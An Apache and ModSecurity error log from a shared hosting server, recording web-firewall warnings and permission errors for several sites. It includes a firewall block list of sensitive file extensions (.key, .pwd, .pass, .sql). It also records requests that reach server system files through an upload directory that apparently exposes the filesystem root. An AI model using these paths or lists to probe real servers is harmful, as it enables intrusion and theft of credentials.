[Fri Jul 17 10:21:39.531020 2026] [security2:error] [pid 2076241:tid 2076241] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/Fact_Sheet_WH_Poliomyelitis.pdf"] [unique_id "alm0218RpR1iv5d0wnIfzAAAABQ"]
[Fri Jul 17 10:21:39.531417 2026] [security2:error] [pid 2076241:tid 2076241] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/Fact_Sheet_WH_Poliomyelitis.pdf"] [unique_id "alm0218RpR1iv5d0wnIfzAAAABQ"]
[Fri Jul 17 10:21:39.660636 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:39.769660 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:39.791108 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/img/sujeewaKarunasekara.jpg"] [unique_id "alm02x0C3r-GF3RTNAbSZQAAAAY"]
[Fri Jul 17 10:21:39.791447 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/img/sujeewaKarunasekara.jpg"] [unique_id "alm02x0C3r-GF3RTNAbSZQAAAAY"]
[Fri Jul 17 10:21:39.805842 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/img/sujeewaKarunasekara.jpg"] [unique_id "alm02x0C3r-GF3RTNAbSZQAAAAY"]
[Fri Jul 17 10:21:40.167879 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:40.269295 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:40.291162 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/HPV/HPV_EDU_Matter/reading_mat_sinhala.pdf"] [unique_id "alm03B0C3r-GF3RTNAbSZgAAAAY"]
[Fri Jul 17 10:21:40.291537 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/HPV/HPV_EDU_Matter/reading_mat_sinhala.pdf"] [unique_id "alm03B0C3r-GF3RTNAbSZgAAAAY"]
[Fri Jul 17 10:21:40.291876 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/HPV/HPV_EDU_Matter/reading_mat_sinhala.pdf"] [unique_id "alm03B0C3r-GF3RTNAbSZgAAAAY"]
[Fri Jul 17 10:21:40.473113 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:40.482263 2026] [ssl:error] [pid 2076241:tid 2076241] (70014)End of file found: [client 66.85.158.91:47794] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:21:41.002345 2026] [security2:error] [pid 2076132:tid 2076132] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/lib/firmware/cirrus/cs35l41-dsp1-spk-prot-10433d88-l0.bin"] [unique_id "alm03ATUp7iFPeTAJ9d1hgAAAAU"]
[Fri Jul 17 10:21:41.002391 2026] [security2:error] [pid 2076132:tid 2076132] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/lib/firmware/cirrus/cs35l41-dsp1-spk-prot-10433d88-l0.bin"] [unique_id "alm03ATUp7iFPeTAJ9d1hgAAAAU"]
[Fri Jul 17 10:21:41.179613 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:41.850589 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/lib/firmware/cirrus/cs35l57-b2-dsp1-misc-10280db3-spkid1-l2u2.bin"] [unique_id "alm03fTLXGCuVk4hiAO9sAAAAAs"]
[Fri Jul 17 10:21:41.850646 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/lib/firmware/cirrus/cs35l57-b2-dsp1-misc-10280db3-spkid1-l2u2.bin"] [unique_id "alm03fTLXGCuVk4hiAO9sAAAAAs"]
[Fri Jul 17 10:21:41.889392 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:41.990840 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:42.294812 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:42.610118 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:42.896399 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:42.900200 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/dovecot/example-config/conf.d/20-managesieve.conf"] [unique_id "alm03nHGgRvC9MVf3SzHPQAAAAI"]
[Fri Jul 17 10:21:42.900690 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/dovecot/example-config/conf.d/20-managesieve.conf"] [unique_id "alm03nHGgRvC9MVf3SzHPQAAAAI"]
[Fri Jul 17 10:21:42.982565 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/dovecot/example-config/conf.d/20-managesieve.conf"] [unique_id "alm03nHGgRvC9MVf3SzHPQAAAAI"]
[Fri Jul 17 10:21:43.001129 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:43.127332 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:43.306156 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:43.409570 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:43.543626 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:43.816876 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:44.323702 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:44.663159 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:44.739350 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:44.939936 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:45.039164 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:45.139337 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:45.342397 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:45.444183 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:45.835563 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:45.947039 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:46.047944 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:46.916783 2026] [security2:error] [pid 2076179:tid 2076179] [client 66.249.70.4:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/gnetuniversals-global": Permission denied [hostname "www.gnetuniversals.com"] [uri "/resources/fancybox/source/jquery.fancybox.js"] [unique_id "alm04qVq7AzCVNDiI0WbsQAAAA4"], referer: https://www.gnetuniversals.com/
[Fri Jul 17 10:21:46.916833 2026] [security2:error] [pid 2076179:tid 2076179] [client 66.249.70.4:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/gnetuniversals-ip": Permission denied [hostname "www.gnetuniversals.com"] [uri "/resources/fancybox/source/jquery.fancybox.js"] [unique_id "alm04qVq7AzCVNDiI0WbsQAAAA4"], referer: https://www.gnetuniversals.com/
[Fri Jul 17 10:21:47.321054 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:47.367643 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:47.398102 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:47.434056 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:47.482181 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:47.483545 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:47.505577 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:47.563510 2026] [mime:warn] [pid 2076179:tid 2076179] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:47.601767 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:47.667365 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:47.709787 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/anandaV4/calender/css/"] [unique_id "alm045-MjlCH45ePojRJQwAAABE"]
[Fri Jul 17 10:21:47.710366 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/anandaV4/calender/css/"] [unique_id "alm045-MjlCH45ePojRJQwAAABE"]
[Fri Jul 17 10:21:47.711920 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/anandaV4/calender/css/"] [unique_id "alm045-MjlCH45ePojRJQwAAABE"]
[Fri Jul 17 10:21:47.718562 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:47.784941 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:47.886915 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:47.982597 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:48.083278 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:48.187170 2026] [mime:warn] [pid 2076179:tid 2076179] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:49.060962 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:49.322524 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/locale/en_HK/LC_TIME"] [unique_id "alm05TuaDdNRw9_WO14xgQAAAAg"]
[Fri Jul 17 10:21:49.322565 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/locale/en_HK/LC_TIME"] [unique_id "alm05TuaDdNRw9_WO14xgQAAAAg"]
[Fri Jul 17 10:21:50.650580 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:50.819079 2026] [core:error] [pid 2075978:tid 2075978] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/virtio-pci/0000:00:05.0/remove
[Fri Jul 17 10:21:51.148537 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:53.176393 2026] [security2:error] [pid 2076132:tid 2076132] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/ai-bolit.db"] [unique_id "alm06QTUp7iFPeTAJ9d1lAAAAAU"]
[Fri Jul 17 10:21:53.176906 2026] [security2:error] [pid 2076132:tid 2076132] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/ai-bolit.db"] [unique_id "alm06QTUp7iFPeTAJ9d1lAAAAAU"]
[Fri Jul 17 10:21:53.177927 2026] [security2:error] [pid 2076132:tid 2076132] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/ai-bolit.db"] [unique_id "alm06QTUp7iFPeTAJ9d1lAAAAAU"]
[Fri Jul 17 10:21:53.320488 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/ai-bolit-hoster.db"] [unique_id "alm06ZT6UchYzP7t8WhLJgAAABI"]
[Fri Jul 17 10:21:53.321128 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/ai-bolit-hoster.db"] [unique_id "alm06ZT6UchYzP7t8WhLJgAAABI"]
[Fri Jul 17 10:21:53.322013 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/ai-bolit-hoster.db"] [unique_id "alm06ZT6UchYzP7t8WhLJgAAABI"]
[Fri Jul 17 10:21:53.393904 2026] [security2:error] [pid 2075689:tid 2075689] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/ai-bolit-hoster-full.db"] [unique_id "alm06V6LQV5zcO01IS_A7AAAAAw"]
[Fri Jul 17 10:21:53.394377 2026] [security2:error] [pid 2075689:tid 2075689] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/ai-bolit-hoster-full.db"] [unique_id "alm06V6LQV5zcO01IS_A7AAAAAw"]
